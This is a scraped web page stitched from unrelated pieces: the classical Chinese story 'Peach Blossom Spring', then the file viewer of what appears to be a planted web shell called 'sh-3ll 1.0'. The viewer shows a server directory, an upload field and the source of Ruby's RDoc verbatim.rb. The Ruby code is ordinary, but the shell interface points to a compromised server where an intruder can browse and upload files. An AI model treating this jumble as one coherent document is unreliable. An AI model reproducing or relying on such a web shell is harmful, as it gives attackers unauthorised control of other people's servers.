晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 sh-3ll

HOME


sh-3ll 1.0
DIR:/opt/alt/ruby26/lib64/ruby/2.6.0/rdoc/markup/
Upload File :
Current File : //opt/alt/ruby26/lib64/ruby/2.6.0/rdoc/markup/verbatim.rb
# frozen_string_literal: true
##
# A section of verbatim text

class RDoc::Markup::Verbatim < RDoc::Markup::Raw

  ##
  # Format of this verbatim section

  attr_accessor :format

  def initialize *parts # :nodoc:
    super

    @format = nil
  end

  def == other # :nodoc:
    super and @format == other.format
  end

  ##
  # Calls #accept_verbatim on +visitor+

  def accept visitor
    visitor.accept_verbatim self
  end

  ##
  # Collapses 3+ newlines into two newlines

  def normalize
    parts = []

    newlines = 0

    @parts.each do |part|
      case part
      when /^\s*\n/ then
        newlines += 1
        parts << part if newlines == 1
      else
        newlines = 0
        parts << part
      end
    end

    parts.pop if parts.last =~ /\A\r?\n\z/

    @parts = parts
  end

  def pretty_print q # :nodoc:
    self.class.name =~ /.*::(\w{1,4})/i

    q.group 2, "[#{$1.downcase}: ", ']' do
      if @format then
        q.text "format: #{@format}"
        q.breakable
      end

      q.seplist @parts do |part|
        q.pp part
      end
    end
  end

  ##
  # Is this verbatim section Ruby code?

  def ruby?
    @format ||= nil # TODO for older ri data, switch the tree to marshal_dump
    @format == :ruby
  end

  ##
  # The text of the section

  def text
    @parts.join
  end

end